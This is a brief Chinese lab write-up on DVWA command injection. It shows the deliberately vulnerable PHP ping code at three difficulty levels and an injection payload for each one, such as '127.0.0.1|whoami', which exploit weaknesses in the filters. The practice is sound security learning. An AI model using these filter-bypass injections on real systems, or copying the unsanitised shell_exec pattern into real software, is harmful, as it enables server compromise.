DVWA靶场-命令执行漏洞
等级:low
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
if( isset( $_POST[ 'Submit' ] ) ) { $target = $_REQUEST[ 'ip' ]; if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); } $html .= "<pre>{$cmd}</pre>"; }
?>
|
看到exec()函数,一眼命令执行
直接输入127.0.0.1&&whoami
存在命令执行漏洞
DVWA靶场-命令执行漏洞
等级:medium
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php if( isset( $_POST[ 'Submit' ] ) ) { $target = $_REQUEST[ 'ip' ]; $substitutions = array( '&&' => '', ';' => '', ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); } $html .= "<pre>{$cmd}</pre>"; } ?>
|
分析可得:此时过滤掉“;”与“&&”
此时只需要127.0.0.1&;&whoami即可
成功;
等级:high
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php if( isset( $_POST[ 'Submit' ] ) ) { $target = trim($_REQUEST[ 'ip' ]); $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); } $html .= "<pre>{$cmd}</pre>"; } ?>
|
注意到”| “后面存在空格
所以可以输入127.0.0.1|whoami
存在命令执行漏洞